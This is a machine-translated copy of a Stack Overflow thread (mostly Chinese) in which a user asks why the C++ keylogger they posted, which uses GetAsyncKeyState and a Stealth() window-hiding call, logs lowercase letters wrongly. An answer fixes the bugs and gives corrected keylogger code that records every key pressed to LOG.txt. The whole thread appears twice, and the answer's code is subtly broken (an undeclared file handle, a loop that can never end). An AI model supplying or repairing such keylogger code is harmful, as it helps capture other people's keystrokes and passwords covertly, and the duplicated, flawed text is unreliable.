c ++键盘记录器无法正常工作
c++ keylogger not working correct
我访问 Whosebug 已经有一段时间了,这是我在这个网站上的第一个问题 :)
我正在尝试编写一个键盘记录器,它将把按下的键保存在一个 .txt 文件中,但问题是这样的。我用 cout 检查 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。文件中的每个其他键都正确打印。
这是我的主要功能:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
保存功能:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
到目前为止,我发现有一件事是错误的,还有几件事我会采取不同的做法。首先,我认为我不会让它在每次写入单个字符时都打开和关闭文件。
其次(错误的错误),你调用fprintf
指定一个字符串%s
并给它一个整数指针&key
。一个简单的解决方案应该是 fprintf(OUTPUT_FILE, "%c", (char)key)
,尽管存在更优雅的解决方案来放置单个字符,即 putc
.
恕我直言,您在这段代码中遇到了一个主要问题:您使用 i
作为循环索引,并在循环中更改其值。
另一个问题是您的 Save
函数完全错误。
在我自己的盒子上,以下代码正确显示按下的键,并将它们记录到文件 LOG.txt
:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
当然,我必须按Ctrl-C或Ctrl-Break才能停止程序,非字母数字键显示奇怪的符号...
但是当我输入 ABCDEFGH012345678 然后按 Ctrl-C(不使用键盘输入数字)时,我得到了 LOG.txt 中的预期结果:
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)
表示的最后一个字符是 Ctrl,这里是一个点 .
但实际上是一个正方形 ...
我访问 Whosebug 已经有一段时间了,这是我在这个网站上的第一个问题 :) 我正在尝试编写一个键盘记录器,它将把按下的键保存在一个 .txt 文件中,但问题是这样的。我用 cout 检查 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。文件中的每个其他键都正确打印。 这是我的主要功能:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
保存功能:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
到目前为止,我发现有一件事是错误的,还有几件事我会采取不同的做法。首先,我认为我不会让它在每次写入单个字符时都打开和关闭文件。
其次(错误的错误),你调用fprintf
指定一个字符串%s
并给它一个整数指针&key
。一个简单的解决方案应该是 fprintf(OUTPUT_FILE, "%c", (char)key)
,尽管存在更优雅的解决方案来放置单个字符,即 putc
.
恕我直言,您在这段代码中遇到了一个主要问题:您使用 i
作为循环索引,并在循环中更改其值。
另一个问题是您的 Save
函数完全错误。
在我自己的盒子上,以下代码正确显示按下的键,并将它们记录到文件 LOG.txt
:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
当然,我必须按Ctrl-C或Ctrl-Break才能停止程序,非字母数字键显示奇怪的符号...
但是当我输入 ABCDEFGH012345678 然后按 Ctrl-C(不使用键盘输入数字)时,我得到了 LOG.txt 中的预期结果:
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)
表示的最后一个字符是 Ctrl,这里是一个点 .
但实际上是一个正方形 ...